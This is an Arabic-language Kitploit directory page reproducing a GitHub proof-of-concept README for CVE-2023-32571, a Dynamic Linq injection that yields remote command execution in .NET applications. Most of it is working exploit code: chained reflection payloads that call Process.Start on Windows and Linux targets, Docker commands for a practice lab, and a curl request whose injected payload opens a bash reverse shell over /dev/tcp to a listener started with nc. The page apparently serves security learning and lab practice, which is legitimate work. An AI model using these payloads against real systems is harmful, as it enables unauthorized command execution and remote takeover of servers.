Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-32571-POC — استغلال إثبات مفهوم لـ CVE-2023-32571 يوضح حقن Dynamic Linq لتحقيق تنفيذ كود عن بعد، مع بيئة مختبرية قائمة على Docker للممارسة العملية. | Kitploit
أدوات/GitHubGitHub/vert16x/cve-2023-32571-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

استغلال إثبات مفهوم لـ CVE-2023-32571 يوضح حقن Dynamic Linq لتحقيق تنفيذ كود عن بعد، مع بيئة مختبرية قائمة على Docker للممارسة العملية.

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن Dynamic Linq إلى تنفيذ الأوامر عن بُعد - CVE-2023-32571

حول حقن Dynamic Linq إلى تنفيذ الأوامر عن بُعد (CVE-2023-32571)

مؤخرًا، اكتشف أعضاء مجموعة NCC ثغرة أمنية في Dynamic Linq تسمح للمهاجمين باستدعاء دوال C# عبر حقن Linq، مما يجعل من الممكن الحصول على تنفيذ الأوامر عن بُعد.

على الرغم من تقرير RCE الخاص بـ Dynamic Linq، لم يقم أعضاء مجموعة NCC لسبب ما بتوفير POC لتنفيذ الأوامر.

POC

كما ورد في بحث NCC Group، يمكننا استدعاء دوال C# من خلال "Invoke". وبهذا، يمكننا استدعاء "System.Diagnostics.Process.Start" وتنفيذ الأوامر على الخادم.

يمكننا استخدام طريقة "CreateInstanceFromAndUnwrap" لاستدعاء System.Diagnostics.Process من خلال التجميعة.

الحمولة لاستخدام طريقة System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

الحمولة لاستدعاء System.Diagnostics.Process من خلال طريقة CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

من خلال الوصول إلى دوال الفئة System.Diagnostics.Process، يمكننا استخدام طريقة System.Diagnostics.Process.Start لتنفيذ الأوامر على النظام:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

ملاحظة: لاحظ أن الحمولة تبحث عن أول 3 طرق Start وتحصل على آخرها. فعلت هذا لأن قائمة الدوال في System.Diagnostics.Process تحتوي على عدة طرق Start، والطريقة التي نحتاجها هي الثالثة في القائمة.

الحمولة النهائية

أهداف ويندوز

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

أهداف لينكس
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

لبدء المعمل، اتبع التعليمات

قم بتثبيت docker و docker-compose:

ديبيان

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

آرتش لينكس
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

استنسخ هذا المستودع:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

انتقل إلى دليل المستودع:
root@kitploit:~
cd CVE-2023-32571-POC

شغّل docker-compose:
root@kitploit:~
sudo docker-compose up --build

يبدأ التطبيق على http://localhost:8000/

شرح المعمل

عند الوصول إلى المسار "/api/products" عبر طريقة POST، نرى أنه يُرجع قائمة بالمنتجات:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

عن طريق إرسال معامل name في json، يمكننا تصفية المنتجات:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

بعد بعض الاختبارات، نرى أننا تمكنا من حقنها في استعلام Dynamic Linq. بإرسال الحمولة التالية، تمكنا من الحصول على شل عكسي:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

تنزيل الأداة